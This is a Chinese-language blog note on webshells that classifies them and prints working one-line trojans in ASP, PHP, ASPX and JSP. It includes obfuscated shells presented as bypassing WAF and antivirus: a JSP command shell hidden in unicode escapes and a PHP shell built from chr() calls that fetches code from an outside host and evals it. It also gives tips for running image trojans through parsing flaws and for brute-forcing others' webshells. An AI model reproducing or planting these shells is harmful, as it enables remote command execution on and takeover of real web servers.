webshell学习
参考文章:
https://www.bilibili.com/video/BV1T4411t7BW?p=14
https://blog.csdn.net/mmmsss987/article/details/90460403
对Webshell一直没有一个清楚的理解,就知道直接写马进去,权限不够在换大马,昨天正好看到了webshell的视频,就写个文章记录一下。
webshell的分类

小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。
不过中国菜刀留的一句话功能不逊大马的功能。
大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。
小马的作用就是为了上传大马进行提权,一般都是小马权限不够,才用小马上传大马提升权限
现在大家普遍使用的就是一句话木马,基本上都是这个,只是稍微有点变形,比如说插入到图片中做成 图片马
一句话木马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
<%execute request("value")%>
原理:一句话木马分为两部分,一部分是执行函数,一部分是传参方式,(比如说GET,POST,COOKIE 或者REQUEST,,)后面大家所说的密码也就是上一行中的 value ,其实是传参时候接受参数的名称 比如说 xxx.com/xx.php?value= '菜刀传过来的命令'
WAF : 现在的waf拦截基本上都是基于特征匹配,比如说匹配到 execute 或者 eval 函数就拦截
asp一句话木马:
<%eval request("c")%>
php一句话木马:
<?php@eval($_POST[value]);?>
aspx一句话木马:
<%@Page Language="Jscript" %>
<%eval(Request.ltem["value"])%> asp和aspx的区别就是aspx可以直接调用cmd,asp不可以,但是一般waf对aspx的过滤比较严格
jsp一句话
<% if(request. getParameter("f")!=null)(ne w java. io. FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
.write(request. getParameter("t"). getBytes();%>
这个asp,php,jsp都是相对而言的,比如说你一个asp的站点,但是可以对PHP进行解析,你同样可以上传PHP的马,
一句话木马简单变形
waf对eval函数进行了拦截 <?php $_REQUEST['a']($_REQUEST['b']) ; ?> xxx.com/a.php?a=eval&b=phpinfo 这个实际构造的就是 <?php eval(phpinfo); ?> 现在不能绕过了。。
对引号进行了过滤 <?%Eval (Request(chr(112)))%?>
这里需要注意的一点就是 asp加密的一句话
┼攠数畣整爠焕敌瑳∨≡┩忾 密码 a
使用条件:正常情况下, asp网站access数据库文件的后缀名应该为 data.mdb 但是加密之后的数据库 后缀为 data.asp 说明这个数据库是加密的,这时候直接把一句话插入数据库中,比如说注册用户的时候加进去,直接就拿shell
一句话图片马的制作
分类中有篇文章有详细写
最新webshell大合集
https://blog.csdn.net/mmmsss987/article/details/90460403
附上几个过狗的马 时间是 2019.9.18
ASPX
<%@ Page Language="Jscript"%>
<%
var p = Request.Item["M"];
var a = p.substring(0,1);
var b = p.substring(1,99999);
var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
eval(a+b,c);
%>
JSP
<%@ page import="java.util.*,java.io.*,java.net.*"%> <%
\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d
%>
PHP
<?php
$password='haha';//登录密码
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
$url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
$url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
$url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
$url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
$url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
$url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
$url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
$url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
$get=$c(102).$c(105).$c(108).$c(101).$c(95);
$get.=$c(103).$c(101).$c(116).$c(95).$c(99);
$get.=$c(111).$c(110).$c(116).hex2bin('656E');
$get.=$c(116).$c(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).hex2bin('7465');
@eval($un($_SESSION['PhpCode']));
?>
webshell使用技巧
配合解析漏洞 一般是配合图片马进行上传,(图片马你光上传,不解析也是没有作用的,必须解析才会起到作用)
配合文件包含
利用文件名溢出
看了很多文章,都是在后台管理员界面上传图像或者其它的文件getshell

这个文件包含是什么意思呢?你上传了一个ima.jpg图片马,但是没法运行,你只能在上传一个b.asp文件,让ima.jpg在b.asp中运行,这样就能让图片马正常运行了
需要注意
asp,aspx,php都是可以直接用菜刀连接的,但是jsp不行,jsp的一句话太大,有时候比大马都大,
cracer讲的是 先上传个一句话或者小马,然后在把菜刀目录下customize.jsp中的代码上传?????(应该就是借助小马上传大马)


jsp一般权限比较大,基本上都是最高权限
需要注意
一点的就是,找到了别人的webshell,可以用工具去暴力破解,在cracer的工具包里面有工具。一句话木马用k8的那个工具,大马用图中的webshell这个工具,当然,也可用bp来跑

查找webshell后门
这个就有点坑了,你辛辛苦苦拿下的站,结果被别人,日了
首先他留这个后门目的就是获取你 连接shell的地址和你连接shell的密码
可以参考下这个视频,前几年hack70发布的
https://www.bilibili.com/video/BV1D4411e7WW?p=2
webshell学习的更多相关文章
- 2019-11-7:sql注入防御,webshell概念,学习笔记
sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- Msfvenom学习总结-MSF反弹webshell
1. –p (- -payload-options) 添加载荷payload. 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填 ...
- Compiler Theory(编译原理)、词法/语法/AST/中间代码优化在Webshell检测上的应用
catalog . 引论 . 构建一个编译器的相关科学 . 程序设计语言基础 . 一个简单的语法制导翻译器 . 简单表达式的翻译器(源代码示例) . 词法分析 . 生成中间代码 . 词法分析器的实现 ...
- 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell
在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 什么是webshell?
webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中 ...
- 最强黑吃黑:WEBSHELL大马隐藏万能密码大全
因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...
- 【渗透攻防】千变万化的WebShell
前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...
随机推荐
- guitar pro系列教程(一):Guitar Pro主界面之记谱功能的详细解析【上】
相信弹吉他的朋友们对guitar pro这款软件并不陌生,也有很多朋友用它来看谱制谱.而GP有很多实用功能,能够使我们看谱更清晰,制谱更便捷,所以让我们一起来看看吧 Guitar Pro对初学作曲,特 ...
- 「LOJ 6287」诗歌
题面 LOJ 6287 Solution 枚举中间点\(j\),题目即求是否存在\(m\)使\(a[j]-m\)与\(a[j]+m\)分别在\(j\)两侧. 对于\(j\)左侧任意一个点\(i\),都 ...
- JS获取当前日期及 js获取当前时间和一星期前的时间
var myDate = new Date(); new Date() 代表当前 年 月 日 时 分 秒: myDate.getYear(); //获取当前年份(2位),getY ...
- jenkins、gitlab配置CI/CD
1. 在gitlab中创建好项目(gitlab的安装和基本使用这里不在说明) 2. 创建jenkins任务 jenkins 需要几个插件请先安装好 - Git plugin - GitLab Plug ...
- selenium截图功能
selenium自动化测试完后需要查看值观的结果,或者查操作过程中是否正确,此时需要使用自带的截图功能. 示例1: from time import sleep from selenium impor ...
- 在Mac下配置JDK
1.下载JDK,例JDK8U144 下载地址https://pan.baidu.com/s/1upjecBzTIMnyz0JmdkYprQ 2.安装 安装后配置JDK环境变量 cd ~ open .b ...
- CentOS7.X 挂载磁盘 与Mysql 自动备份
1.前言 搞了好几天终于弄了出来,简单记录一下.注意以下教程是在测试服务器基础上编写 如数据盘含有数据切勿使用此教程,如对命令行不熟悉的 不建议搞哈 .本文中的磁盘/dev/sdb为笔者测试服务器上的 ...
- 基础篇:异步编程不会?我教你啊!CompeletableFuture
前言 以前需要异步执行一个任务时,一般是用Thread或者线程池Executor去创建.如果需要返回值,则是调用Executor.submit获取Future.但是多个线程存在依赖组合,我们又能怎么办 ...
- day3(django配置跨域)
1.跨越原理 1. 首先浏览器安全策略限制js ajax跨域访问服务器 2. 如果服务器返回的头部信息中有当前域: // 允许 http://localhost:8080 这个网站打开的页面中的js访 ...
- 使用django的用户表进行登录管理
改写用户基本表 ... AUTH_USER_MODEL = 'appjwt.User' ... setting.py from django.db import models from django. ...